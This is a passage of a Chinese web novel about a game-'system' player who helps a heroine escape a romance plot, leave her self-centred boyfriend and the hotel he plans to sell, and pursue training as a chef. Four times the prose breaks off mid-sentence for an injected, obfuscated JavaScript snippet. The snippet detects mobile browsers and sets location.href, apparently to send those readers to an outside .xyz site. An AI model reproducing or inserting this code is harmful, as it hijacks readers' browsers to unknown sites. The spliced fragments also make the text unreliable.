“在行政部,你的抽屉里,”凌昊天轻笑着刮了刮她的鼻尖,“你好狠,居然把‘我的心’丢在那里。” 蓦地,夏星澜心头一暖,便把这几天的经历和他分享起来。 她说起自己如何得到了去后厨工作的机会,又讲到第一天不小心打翻了食材,但现在一个人就能扛起两箱菜。 她越讲越兴奋,抬头却突然发现,凌昊天不知什么时候起在低头看文件。 夏星澜停下了话语。 半晌后,凌昊天漫不经心问:“你怎么不说了?” “我以为你没有在听。” 凌昊天唇角轻勾:“我可以一边看文件一边听,你不会影响我的。” 夏星澜心中一沉,原来他是觉得自己担心影响他的工作…… 她故意问:“我刚说我协助主厨做了一道菜,是什么名字?” “嗯……叫什么来着……”凌昊天做出努力回想的模样。 忽然,一阵电话铃声打破尴尬的气氛。 “我先去接个电话。” 凌昊天起身,临走前还揉了揉她的头发。 夏星澜叹了口气,她既失望又生气,自己在和凌昊天分享她的工作,但凌昊天却在那边看文件。 如果他工作这么忙,何必非要今天谈呢? 明明自己也很忙,还要去和姜婋一起吃晚饭呢。 她扭头,看见凌昊天扔在桌上的文件,涌出好奇,到底是什么文件看的那么认真。她刚拿起来,就看见封面上赫然写着——“罗曼蒂克庄园酒店收购方案”。 霎时,夏星澜身体僵住,拿文件的手不由自主颤抖起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612006|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她匆匆翻了几页,原来凌昊天找到一家不良资产收购公司,打算卖掉酒店! 这突如其来的消息像是一颗重磅炸弹,将她的世界轰然炸开。 难怪他不在意自己是不是在厨房工作,因为别说中餐厅,就连酒店是否存在都变成了未知数…… 难怪婋婋总和自己吐槽,凌昊天对改造方案漠不关心,推进缓慢…… 原来他根本就没想经营这家酒店,而是打算一卖了之! 这时,身后响起了脚步声。 夏星澜回头,声音颤抖地问:“你要卖了酒店,为什么?” 凌昊天见此也不再掩饰,直言道:“以罗曼蒂克酒店目前的经营状态,根本没有办法扭亏为盈,只有卖给收购公司,才能够赚到酒店三年营业额都赚不到的钱。” “那董事长同意吗?” “她给我的要求是让酒店赚钱,可没说一定要经营。” “可是,你突然卖掉酒店,那我们这些员工怎么办?大家已经在这里工作了这么多年,每个人背后都是一个家庭……而且,那我怎么办?” “夏星澜,你是我的女朋友,以后是凌氏集团的少奶奶,你完全不用担心。至于那些员工——” 凌昊天皱眉,语气有些不耐烦:“我顾不了这么多了,我能想到的只有你和我。如果酒店继续亏损下去,对整个凌氏集团都有影响,为了大局考虑,出售是最好的选择。” 凌昊天嘴里吐出的那一串串话语,猛击着她的耳膜,夏星澜已经不知该说什么,只有一股深深的绝望蔓延全身。 原来每个活生生的员工,在凌昊天眼中就是合同上估价的冰冷数字…… 原来自己奉献青春为之奋斗的酒店,不过是他随意割舍的弃子…… 一瞬间,她回想起凌辰风的话: “对凌昊天那种人来说,一出生就拥有一切,是不会明白工作对于一个人的重要性的。我们对于他们来说,不过是卑贱的蝼蚁。只要他们开心,可以随时碾死一只……” 自己怎么会爱上这种人? 倏忽间,那块代表「我本位」的碎玻璃再次出现,宛如一只倔强的飞蛾,硬生生卡在了「男主光环buff附体法则」运转的齿轮之上。 这两种力量在夏星澜心底激烈交锋,一边是这块小小的、易碎的,代表着她自主意识的碎片,一边是浪漫爱世界精心编织的庞大机器。 就在这一瞬,仿佛一颗鸡蛋撞向高墙,“砰”地一声巨响,那套「男主光环buff附体法则」轰然瓦解。 终于看清凌昊天真实模样的夏星澜绝望道: ——“不!你从来没有考虑过我,你唯一考虑的只有你自己。从今天起,我们之间,就到此为止。” 说罢,她摘掉那枚刚戴上的星芒戒指,狠狠扔在地上,不顾凌昊天的呼喊,转身跑远。 另一边,姜婋在餐厅等了好久,连烛光晚餐的蜡烛都燃到只剩一半,也不见夏星澜的身影,她随即出门去寻。 路上,系统突然发声:“玩家,我现在有一个好消息和一个坏消息,你想先听哪一个?” “你怎么也学会跟我卖关子了?” 姜婋想了想:“那我先听好消息吧。” 系统:“好消息是,夏星澜对凌昊天的好感度急剧下降。” “太好了!那我岂不是胜利在望了?” 姜婋得意一笑:“那坏消息呢?” 系统沉默了两秒:“坏消息是,女主角夏星澜对男二号凌辰风的好感度飙升。从这一刻起,凌辰风正式成为这本小说的男主角。” “什么!?” 姜婋无比震惊,与此同时,眼前的画面更让她目瞪口呆。 朦胧的月光下,小花园里,夏星澜正在新·男主角凌辰风的怀里痛哭流泪。 21. 21 一瞬间,黑暗笼罩下来,姜婋回到了心流世界。 “系统,你没跟我说过,还能换男主角啊?” 四周360度环绕屏幕翻起如海浪般的音频波动。 “玩家,本系统一切皆以女主角个人意愿为基准,当女主角的心意和倾向发生变化时,自然会触发男主角替换机制。” 姜婋无语极了:“那我下一步干掉新男主角之后,不会又出来什么凌东风、凌西风、凌南风吧?你跟我玩打地鼠呢?” 系统:“玩家,本系统虽需要杀死浪漫爱,解构男主角,但真正的通关目标是让女主角生发出人生之路,所以你不用担心,虽然换了男主角,但问题不大。” 姜婋扶额,眉心直跳:“这段时间我光顾着对付凌昊天,却不知道后院起火,让凌辰风这家伙趁虚而入。系统,我想看看这段时间夏星澜和凌辰风都发生了什么。” 屏幕亮起,闪过女主角和新男主角的每一帧画面,从初遇时献花的魔术,到夏星澜难过时变出的水果糖,再到凌辰风给夏星澜讲述往事,揭开内心的伤痛…… 姜婋盯着屏幕,目露凶光:“好你个凌辰风,我真是小瞧你了!系统,你还说问题不大,我看是问题大大!” “玩家,你为何这么说?” 姜婋道:“如果说凌昊天是浮夸型自恋者,那凌辰风就是个脆弱型自恋者。凌昊天是主动攻击,用恐惧和权力操控夏星澜。但凌辰风这种人最擅长被动攻击,通过示弱扮演受害者,而获得他人的同情,让对方去承担照顾的角色,把他的需求放在第一位。” 系统:“玩家,你倒是很了解……” “谁年轻时没遇见几个NPD呢?”姜婋咬牙切齿:“凌辰风这种人深交下去,比凌昊天还要可怕!” 猛然间,她想起这个小说结局时凌辰风的复仇,他一把火烧了罗曼蒂克庄园…… “不行!他是要把夏星澜拉进自己的复仇线,我可绝不能让他得逞……” 次日,姜婋一大早就来找夏星澜。 可当她看见夏星澜红肿的双眼,瞬间就说不出口了,直接上前抱住了她。 任何语言都变得苍白无力,所有道理都已不再重要。她们拥抱着,体温传递着比任何语言都更有力的安慰。 夏星澜的眼眶又猝不及防酸涩起来,姜婋的手掌缓缓拍着她:“你已经做的很好了,无论发生什么,有我在呢。” 小花园里,微风拂过,带来淡淡的戴安娜玫瑰的花香。 二人坐在长椅上,夏星澜给姜婋讲述昨夜发生的一切。 末了,她声音沙哑道:“我只是觉得,好像不认识昊天了。” 姜婋拍了拍她的肩头,心想:没有了男主光环和女主滤镜,你当然觉得不认识他了。 她换了种用更科学的说法:“不是不认识了,而是认知失调。” 夏星澜一愣,显然没听懂。 姜婋努力措辞解释:“你可以理解为,之前你脑中的浪漫爱给凌昊天美化了,你们在一起之后,凌昊天渐渐表现出真实的样子。而你给他镀上的金漆也一点点剥掉了,你现在看见的就是他最真实、最赤裸的一面。” 夏星澜声音发颤:“我最痛苦的是,明知道他要卖掉酒店,他做了那么多让我讨厌的事情,可我还是会想起他对我的好……就像这满园的玫瑰花,都是他为我种下的……” 姜婋握住她的手:“很多时候决定一个人品质的,不是他好的时候有多好,而是坏的时候能有多坏。我知道,打破认知失调很难,相当于把我们脑中构建的很多东西全部推翻,而我们的大脑又偏偏喜欢熟悉而非改变。 “但是要走出这段感情,你就需要重新书写你的经验,用你的感受去理解,什么是爱,什么是痛……” 夏星澜眼中闪着泪光,问道:“那凌昊天对我的好不是爱吗?这满园的玫瑰花,那夜的烟火,那些动人的情话,难道不是爱吗?” 姜婋反问:“那你为什么觉得这就是爱呢?” 夏星澜一时语塞。 “因为言情小说和偶像剧都是这么演的,对吗?” 姜婋轻叹:“我们总是先读到爱情小说,然后才开始认识‘所谓的爱’,但这是一种二手体验。就像你先看到一张海的照片,从此对大海心生向往,当你真正来到这片海的时候,你看见的,究竟是眼前的海,还是你脑中幻想的海呢? “我们脑中的很多想法,都是由文化和潜意识塑造的,我们没有办法关掉这个闸门。当我们通过言情小说和偶像剧去探索爱情的时候,脑子里就会被这些先入为主。男女主在一起要告白,要有绚丽的烟花,动人的誓言……可是什么东西促成了这种模型呢? “我们把自己削足适履,嵌套进浪漫爱的模板里,在模板里寻找自己应有的角色,然后去扮演,就像你上次穿着并不舒服的裙子,去扮演所谓的女朋友的角色,去和凌昊天约会。” “有时候我也在想,我是不是已经被这些言情小说给塑造了,已经不会用真实的感官去体会什么是爱情…… “如果说,爱情真的是人性里一种自然而然的感情,我们会对一个陌生人产生爱意,那么这个叫做‘爱意’的东西,会不会已经被我们的文化产品和媒介扭曲了?当我们追问什么是‘爱’的时候,是不是就已经寻不到那个答案了。” 姜婋自嘲一笑:“我真的很好奇,如果是一个从来没有接触过浪漫爱产品的人,当她去接触爱情的时候,会有怎样的感受呢?” 夏星澜低头沉思,半晌才低声说:“好奇怪。” “怎么了?” 夏星澜蹙着眉:“我突然意识到,一直以来,我脑中好像有个声音告诉我,你要等待一个全身心爱你的人,这个人会满足你所有对浪漫的幻想和期待,虽然我们会遭遇波折,但最终会有美好的结局。我也不知道,这个想法为何会出现在我脑海里……” 姜婋心中清楚,那是浪漫爱法则在作祟。 夏星澜一把拉住她的手:“婋婋,你还记得吗?我们两个在这片小花园的时候,你拿着一块玻璃碎片给我变了个魔术,让我看到了我自己,那一刻我才重新认识自己,发现了我的感受。” 她擦了擦泪水,缓缓道:“那这么说来,我此刻的痛苦或许也并不完全真实,而是我在模仿一种失恋的痛苦。 “其实我最担心的是,万一酒店被卖出去,那我的工作怎么办?我好不容易才有了这个机会,我不想就这么放弃……” 姜婋眼神一亮:“很好!你已经把自己最真实的感受放到第一位了。” 夏星澜脸上的阴霾终于少了几分。 姜婋犹豫片刻,还是问出心里一直悬着的那个问题:“你……怎么看凌辰风?” 夏星澜微怔:“他人挺好的,也很孝顺,他为了照顾母亲很早就打工赚钱了。我觉得在某种程度上,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612007|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和他有相似的地方……” 闻言,姜婋忙在脑海中询问系统。 “系统,夏星澜对凌辰风的好感度上升,难道不是因为心动,而是因为感同身受?” 系统:“正是。” “这是怎么回事?难道浪漫爱法则失效了?” 系统:“既是,也不是。夏星澜的自我意识觉醒,正是‘女主必为男主心动法则’的克星。在‘我本位’的压制下,这条针对女主的法则几乎失效。但凌辰风的‘男主光环buff附体法则’放大了他对母亲的孝顺,所以让夏星澜感同身受,觉得自己与他同病相怜。” “原来如此!” 姜婋理清楚后,稍微松了一口气。 身边的夏星澜奇怪道:“你怎么突然问起凌辰风?” “没什么……” 姜婋语气一转,提醒道:“你的共情能力很强,所以总能对他人的遭遇感同身受,但你也不用太过于同情男人,我说的是任、何、男、人。” “我们女人连出生都要看天意,我们不配同情那些男人,毕竟他们连尿得远都会被夸…… “而且我们的共情能力很大程度是被后天驯化的,因为我们自己一直淋着雨,所以总想帮别人撑起伞,但是你要知道,这把伞你要先举在自己的头上。爱是稀缺资源,先留给自己好吗?” 夏星澜点了点头。 就在这时,不远的草坪上突然传来客人的尖叫声。 二人循声望去,只见人群中两道人影扭打在一起。 姜婋眯着眼睛认出:“那不是凌昊天和凌辰风吗?这两人抽哪门子风又开始搞雄竞了?” 夏星澜心头一紧:“我们快去看看吧!” 草坪上,凌昊天用力揪着凌辰风的衣领:“我是不是警告过你,离夏星澜远一点!” 凌辰风毫不退让:“昨晚是夏星澜主动哭着来找我,说要和你分手,这是真的吗?” 忽然,凌辰风目光一瞥,看见夏星澜遥遥跑来。 他故意加重语气:“哥,既然她已经不是你的女朋友,那我就正式宣布——我要追她。” 凌昊天怒火翻涌:“你和你母亲一样,只会插足别人的感情!” 凌辰风似笑非笑:“你和你母亲也一样,除了无能狂怒,根本无法留住身边的人!” 话音未落,凌昊天怒拳挥出,重重砸在凌辰风脸上。 二人顿时扭打在一起,摔翻在草地上,引来四周围观人群的惊呼。 夏星澜终于赶到,急声喊道:“凌昊天,住手!” 凌昊天正要再次挥拳,那只手却在空中僵住了—— 他看见夏星澜冲来,却没有朝他奔来,而是直直地扑向倒在地上的凌辰风。 “你没事吧?”夏星澜扶起凌辰风。 凌辰风抹掉嘴角的血迹,有气无力道:“你别怪哥,是我不好……” 夏星澜看了一眼凌昊天,没有说话,拉起凌辰风转身要走。 凌昊天喊道:“夏星澜,你不了解他,别被他骗了……” 夏星澜顿住脚步:“当你做出卖酒店的决定那一刻起,我也不再了解你了。” 她扶起凌辰风,转身离开。 凌昊天难以置信地看着这一切,脸上的怒火渐渐被茫然所替代。 人群散去,姜婋走过来,毫不客气地一把拽住他的胳膊:“别杵在这儿丢人现眼了,走吧。” 22. 22 顶楼的总裁办公室里,姜婋扔给凌昊天一盒创可贴,极其不耐烦道:“你自己看着贴吧,我要去找夏星澜了……” 她正要离开,身后却传来凌昊天的冷笑:“你现在满意了吗?” 姜婋顿住脚步,斜睨他一眼:“我有什么满意的?” “你的目的不就是破坏我跟夏星澜的感情吗?” 姜婋无语:“凌昊天,你是自己作死,还怪我递刀?我们捋清楚,明明是你一声不吭打算卖了酒店,让夏星澜对你失望,所以她才想跟你分手。” 凌昊天语气强硬:“我只是在用我的办法完成母亲对我的考验。为什么没有人理解我?就连夏星澜也……” “Stop!” 姜婋实在听不下去,直接打断他:“你渴望别人理解你之前,难道不应该先去理解别人吗?你还真把自己当男主角了,所有人都要围着你转,可惜,你现在已经不是了……” 她突然反应过来,后半句居然说了出来,没有被和谐?看来他的男主光环buff附体法则确实失效了。 凌昊天愣了一下:“你刚说什么?” 姜婋顿了顿:“我是说,你根本就没有理解褚董事长对你的用心良苦。” 见凌昊天皱起眉头,一脸困惑的模样。 姜婋叹了口气,她本来并不想多说什么,毕竟拯救男主角不是她的任务,而且这人还是个“前·男主角”。 但她思忖片刻,为了帮夏星澜留下好不容易争取到的工作,还是耐心支教起来。 “我有时候都在想,你这脑回路都在想什么呀?你连你母亲的意图都不明白,你又怎么能搞清楚夏星澜在想什么?难道褚董事长真的在意,这家酒店能否赚钱吗?” 凌昊天愣住。 姜婋走回来,坐在他面前:“为了升级改造项目,我每天都在研究酒店资料,从员工档案到客户评价一条条都看过。我发现,很多员工是从创业之初就留在这里的。你母亲让你来历练,或许是想让你学习这里每一位工作人员的忠诚度和服务精神。 “就像夏星澜,她在做前厅经理的时候认真负责,现在去了后厨也兢兢业业。这些员工才是这家25年老店真正的无价之宝。我知道你对这家酒店的感情很复杂,可是如果你只用私情来处理这家酒店的话,实在是对这些员工不公平。” 凌昊天沉默半晌,难得说了一句心里话。 “我七岁那年,就是在这家酒店里,撞见了我父亲跟另外一个女人出轨,我每次来到这里都会想到那个画面……” 姜婋无奈叹气:“凌昊天,你现在几岁了?” “我……” “你已经不是七岁的小孩子了,快三十的人了,怎么还在让七岁的自己执掌你的人生呢?” 凌昊天没有反驳。 姜婋继续道:“难道你要因为你父亲一个人的错误,毁了整个酒店吗?你应该学习你的母亲。” “我母亲?” “对啊,你父亲出轨,受伤最深的其实是她,但连伯母都没有说要把酒店卖掉,因为对于她来说,这件事已经翻篇,无法再影响她了。但这件事情还深深影响着你,或许伯母就是看出你迈不过这道坎,所以特意让你来度过这道关卡呢?卖掉酒店其实是逃避行为,你要真的想走出来,就该直面它!这个酒店对你而言到底是美梦还是噩梦,只在你一念之间。” 凌昊天的脑中一团乱麻,但这些话好像为他指明了一个小小的线头。 姜婋又道:“这家酒店能经营到今天,与每个员工密不可分,与其说这家酒店是你的,倒不如说是这些员工的,我希望你能为了这些员工留下这家酒店。就当是为了夏星澜呢?” 凌昊天抬起头,问道:“你为什么要跟我说这些?” “因为夏星澜已经开始慢慢找到自己的人生之路,我希望你也可以。” 姜婋耸了耸肩:“虽然这不是我的任务,但我希望每一个人都能从浪漫爱构建的监狱里走出来,找到自己的人生之路。” 她说完就转身离开。 凌昊天兀自垂下头,思忖着这些话的含义。 酒店要被出售的消息还是走漏了风声,员工们逐渐开始焦虑不安。 就在这时,褚董事长决定宴请商界来宾,这个消息给所有员工打了一剂强心针。 她不仅想通过这次活动破除谣言,更希望借此找到新的投资者,所以这次晚宴将决定罗曼蒂克酒店的生死存亡。 经过餐饮部的讨论,最终决定由中餐厅负责本次晚宴的菜品。 这日,主厨Vicky召集中餐厅每一位员工共同讨论菜谱。 她将宴会人员名单发到众人手上,干脆利落道:“各位,晚宴重要,你们的意见也重要。谁有什么想法,尽管说。” 副主厨拿出一摞旧菜谱:“这是往届宴会的菜单,反馈都不错,不如就在里面组合搭配,冷盘热菜,主食汤品就按当季食材来准备。” 众人纷纷附和,讨论仿佛变成了走流程。 夏星澜看了嘉宾名单之后,突然想到了什么,怯怯地举手道:“主厨,名单上……” “把上次的那道鱼换成螃蟹怎么样?金秋将至,正是吃螃蟹的季节。” 夏星澜的话被截断,她抿了抿嘴唇,再次举手:“我们是不是应该先了解来宾的饮食偏好?” “我觉得汤品也可以调整一下,虫草炖乌鸡怎么样?” 每当夏星澜想要说些什么的时候,其他厨师就会无意识地打断,因为她只是一个学徒,还是一个女人。 就在她准备彻底沉默时,Vicky突然开口:“能先听夏星澜把话说完吗?” 一屋子人顿时噤声。 副主厨见气氛不对,笑着打圆场:“好好好,让小夏说两句,接下来10分钟,大家都不要讲话了。” Vicky反问:“你的意思是夏星澜只有这10分钟说话的时间吗?” 副主厨讪笑辩解:“主厨,我不是这个意思。” “那你是什么意思?” Vicky环视一圈,声音平静有力:“在我的厨房里,无论主厨还是学徒,无论女男,都是平等的,不光是夏星澜,任何人说话都不应该被打断或限制时间。我以为这是人人共知的常识,没想到我还要强调一遍。” 众人彼此看看,有些人低下了头。 夏星澜受宠若惊,却也因此更坚定,举手说道:“是这样的,名单上的来宾,我在做前厅经理的时候都接待过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612008|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,所以对每个人口味和需求有个大致的了解。” “比如,这位王女士,她是海外华侨,祖籍是福建,喜欢吃海鲜。但是这位赵先生,他却海鲜过敏。还有这位陈女士,是风险投资人,平时初一十五会吃素。我算了一下,晚宴当天就是她要吃素的日子,我们最好再准备一份素食菜单。” Vicky点头:“这是很有用的信息,夏星澜你来列一份每位客人的口味和需求,我们来针对性的设计菜谱。” 得到主厨的肯定,夏星澜松了口气。 黄昏时分,天空被夕阳染上一层温柔的橙红色,像发着炎症的伤口。 酒店后勤区的吸烟角安静而隐秘,Vicky趁着休息的间隙,独自来吸烟。 夏星澜犹豫很久,走过去道:“主厨,今天谢谢你……” Vicky将烟移的远了一些:“谢什么?” “谢谢你给了我一个说话的机会。” “不必谢我,我也是这么过来。” 夏星澜微怔,在她眼中Vicky简直就是女武神一般的存在,难以想象主厨竟然也有被人忽视的时候。 Vicky见她不信,指尖轻弹烟灰:“你知道我为什么抽烟吗?” “为了缓解压力?” Vicky摇头:“在国外的时候,我为了要融入以老白男为主体的后厨,不得不跟他们一起吸烟、讲黄色笑话。后来我成为主厨,就规定厨房里任何人都不许说黄色笑话,但这烟却戒不掉了……” 她朝夏星澜道:“你离我远一点,别吸二手烟。” 夏星澜却笑着凑近了一点:“我不想离你远,我想跟你学厨艺,学你说话的底气,做事的样子。” 闻言,Vicky微不可察地笑了下,随即叹气道:“那恐怕难了,晚宴结束之后我就要走了。” 夏星澜笑容僵在脸上:“主厨,您不是刚来吗?怎么就要走了?” “我和褚董事长约定了一个月的试用期,既是她对我的考察,也是我对这家酒店的考察。我试过了,不合适,所以想离开。” 这番话对夏星澜来说简直石破天惊! 她在这家酒店工作了五年,从来没有想过要离开。况且成为主厨的机会如此难得,对方竟然就这么放弃了? “为什么?是您觉得这家酒店不够好吗?” “很多时候,决定一件事情的标准不是好或坏,而是你喜不喜欢。” Vicky望着天边的夕阳,淡淡道:“这里很好,但对我来说不合适。况且作为一个厨师,本来就应该走南闯北,感受每一种食材在不同地域和季节呈现出的各色风味。如果你想成为一个好厨师,就要做好游荡的准备。” 她顿了顿,看向夏星澜:“我知道你母亲的菜谱对你很重要,但你也不要被其所束缚,让它成为你唯一的定义。毕竟你也要书写出自己的菜谱,不是吗?” 夏星澜的心脏蓦地重重跳了一下,涌出一股强烈的冲动。 顷刻间,什么失恋心碎的哀愁、摧心销肝的痛苦、爱别离苦的迷惘,仿若都烟消云散,唯有此刻的想法无比清晰明确—— 她想写出,属于自己的菜谱。 她想去品尝,下一颗巧克力的滋味! 23. 23 夜幕初上,罗曼蒂克庄园的顶楼旋转餐厅灯影如织,如梦似幻。 靠窗的位置上,夏星澜以手支颐,俯瞰着整个酒店的繁华景象。 她在这里工作了五年,好像都不似今晚这般,想把霓虹璀璨的庄园深深刻进眼眸之中。 姜婋收到夏星澜约她来此的信息,说是补之前那顿庆祝的晚饭,但她总觉得此事没那么简单。 来的路上,她和系统商量半天,分析可能发生的各种“剧情转折”,生怕夏星澜对凌昊天旧情复燃,或者是发现凌辰风的复仇计谋,对他大失所望…… 但系统也并未检测到女主角对新旧男主的情感变化,总之,种种最坏的结果想了个遍。 等到达的时候,姜婋内心已做好各种准备。 夏星澜看见她,展颜一笑,忙招呼她过来。 姜婋挤出笑容,但心里却像揣着一只小兔子,七上八下,这顿饭吃的没滋没味。 反观夏星澜也没好哪去,虽然乐呵呵的,却是“夏经理”那标志性的笑容,总觉得她心里藏着什么要紧的事。 终于一顿饭吃完,姜婋正要开口询问,身后那桌却传来欢呼声。 原来是隔壁桌庆生,只见工作人员推着蛋糕,主厨也现身,询问客人对今日菜肴的意见。 姜婋回过头,却看面前的夏星澜瞅着那位主厨一脸羡慕,眼神简直比看凌昊天还要深情几分,还好这主厨是头发花白的老头儿,不然以为又要换男主了。 夏星澜满眼羡慕:“主厨那身工作服可真好看。” 姜婋问:“你想穿?” “……我倒是想,”夏星澜轻声道,“不过旋转餐厅的主厨是法国蓝带厨师,那可不是一般人能去的院校。” 姜婋鼓励道:“只要你想,就试试呗,我支持你。” “无论我想做什么,你都会支持我?” 姜婋点头,对上夏星澜闪着光的眼睛,只听她一字一句道: “婋婋,我想离开罗曼蒂克庄园,和Vicky去国外学习厨艺,你觉得……怎么样?” 姜婋怔了一下,随即长长地松了口气,又猛地吸了一口气。 这可是夏星澜第一次清晰明确地说出她想要什么! 情绪来得太猛,姜婋竟眼眶一热,哭了出来。 夏星澜吓坏了:“怎么了?你不赞成吗?” “不是。” 姜婋捂着脸道:“我是太开心了,开心你找到了自己想做的事。” 夏星澜哭笑不得:“也不至于感动成这样吧?” 姜婋抹了抹眼角的泪:“你不懂……眼泪就是要像今天这种日子流才有价值。因为男人流眼泪,一点意义都没有。” 夏星澜这才反应过来,今早自己不是还因为男人哭,腹诽道:“这时候你都不忘损我!” 姜婋破涕为笑,忙问:“这到底怎么回事,你快仔细给我讲讲。” “今天主厨告诉我,等晚宴结束后她就不再这里工作了,要去国外和朋友开一家融合菜餐厅。可我还是想继续做她的学徒,不过我还没有跟她说我的想法,担心她不愿意收我为徒……” 夏星澜垂着头,越说越没底气:“毕竟我没有系统学习过厨艺,也没有工作经验,还没有去过国外……人家和我非亲非故的,凭什么帮我呢?这也许只是我的一厢情愿吧……” 姜婋明白夏星澜在怕什么。 她拉住她的手,无比认真道——“夏星澜,你值得!” 夏星澜微微愣住。 姜婋语气无比真挚:“你值得整个宇宙的帮助。我理解你现在的忐忑不安,你怕Vicky拒绝你,你怕去了之后做不好……这些预设的不存在的困难,就是囚禁我们女性的恶龙。 “因为我们一出生,这个社会就不断告诉我们,你是女孩,你不合适,你不该出远门,你不配拥有太多。但我想告诉你的是:夏星澜,你值得、你合适、你无比珍贵,你配拥有一切。” “我们已经花了太多时间和精力,在自我怀疑和自我否定上,无尽的内耗已经让我们的意志力被消磨殆尽。但这一刻起,我希望你能明白,你值得拥有这世界上所有的帮助,你值得走向一条通往幸福的人生之路。无论你想去哪里,想做什么,我都会支持你!” 夏星澜终于忍不住,眼泪夺眶而出,因为从来没有人对她说过这样的话。 她哽咽着笑了:“眼泪……就是要像今天这种日子流才有价值,这句话我终于明白了。” 二人拉着手,看着对方又哭又笑的傻样,不禁也又哭又笑起来。 次日一早,夏星澜就找到了Vicky,不安又急迫地把自己的想法告诉她。 开口之前,她也预设了无数种可能。 甚至昨夜婋婋还帮她出谋划策:“如果Vicky不答应,你就说你是她救命恩人,看她答不答应!” 没想到Vicky只是捏着烟,朝她笑了笑:“没想到你还是个挺有主见的姑娘。我这次回去是创业,你能来我当然欢迎,不过费用方面可能你要先自己负担了。” “当然,您能让我做学徒,我已经非常感激了。” Vicky挑了下眉,语气一转:“想不想做我的助手?” 夏星澜心中一震,想到两人初次见面时,Vicky曾抛出橄榄枝,但自己当时却怯懦地拒绝了。 这一次,她为自己争取到了机会,当然毫不犹豫地点头答应。 她忽地想起婋婋说过——“这些预设的不存在的困难,就是囚禁我们女性的恶龙。” 此刻,她终于挥剑消灭恶龙! 夏星澜迫不及待地把这个好消息告诉姜婋,因为还是工作时间,她不能走远,两人只能挤在后厨出口旁的狭窄过道。 姜婋靠在安全出口的标志旁问:“那你打算什么时候去?” 夏星澜侧过身,给出去抽烟的人让路:“等到这次的晚宴结束吧。Vicky说她先回去,等筹备的差不多了再让我过去。” “好,那我陪你去。” 夏星澜点头笑道:“还好之前做前厅经理的时候英语没丢,不然突然让我去国外学习,我都不知道该怎么办了。” 姜婋打趣:“你看人生中的每一条路,最后七扭八拐的都会走到你想去的那条路。” 她本来还想问她有没有告诉凌昊天和凌辰风,但看夏星澜的眼眸里闪动着对未来的愉悦和期待,便不想再提扫兴之人。 可偏巧这时,夏星澜手机一震,收到凌昊天约她去办公室见面的消息。 姜婋奇怪:“他怎么突然找你?自从褚董事长得知他要卖酒店,就把他大骂一通,我以为这几天他一直在自我反省呢。” 夏星澜握紧手机:“见一面也好,有些话也该说清楚了。” 顶楼的办公室,夏星澜推开门后却发现里面坐的并不是凌昊天,而是褚董事长。 她曾经见过褚董事长,不过那时是以夏经理的身份,她也知道这次褚董事长要见的并不是“夏经理”。 褚明珠的目光射过来,凌厉而不失从容地问:“你就是昊天的女朋友?” 一股无形的压迫从办公桌对面袭来,令夏星澜几乎屏住了呼吸。 她想否认,但转念一想,既然尚未正式分手,点头或许更妥当。 “我听说昊天要卖掉酒店,不知道是不是你的主意?” 夏星澜抬起头道:“褚董事长,我在这里工作了5年,我比任何人都希望罗曼蒂克庄园能够越来越好。” 褚明珠笑了下:“我不喜欢浪费时间,那我就直说了,你跟昊天之间是没有未来的,我希望你能离开他,离开这家酒店。当然我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612009|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也会给你补偿,你想要什么?” 夏星澜心道,自己本来就是想离开他,离开这家酒店的。 但被如此赤裸裸的置身于利益天平上,还是有些错愕。 “我想要什么……” 她在心中思考起来,倏地想到姜婋的话—— “我希望你能明白,你值得拥有这世界上所有的帮助……” 是的,我值得、我无比珍贵,我配拥有一切。 我不应该被动地置身于天平之上,我应该主动把它变成是自己的机会。 夏星澜抬眸,不卑不亢道:“褚董事长,我想和您谈一笔交易。” 褚明珠挑起眉,神情中浮出几分玩味。 这段时间,凌昊天的脑子里总会想起姜婋对他说过的话。 他说不清为什么,那些话像一根根倒刺,扎进心里,使他不得不开始反思自己的人生,反思他和夏星澜之间的关系。 他本想等理清一切,再找夏星澜好好谈一谈。 可他没想到,先一步出手的,却是他的母亲。 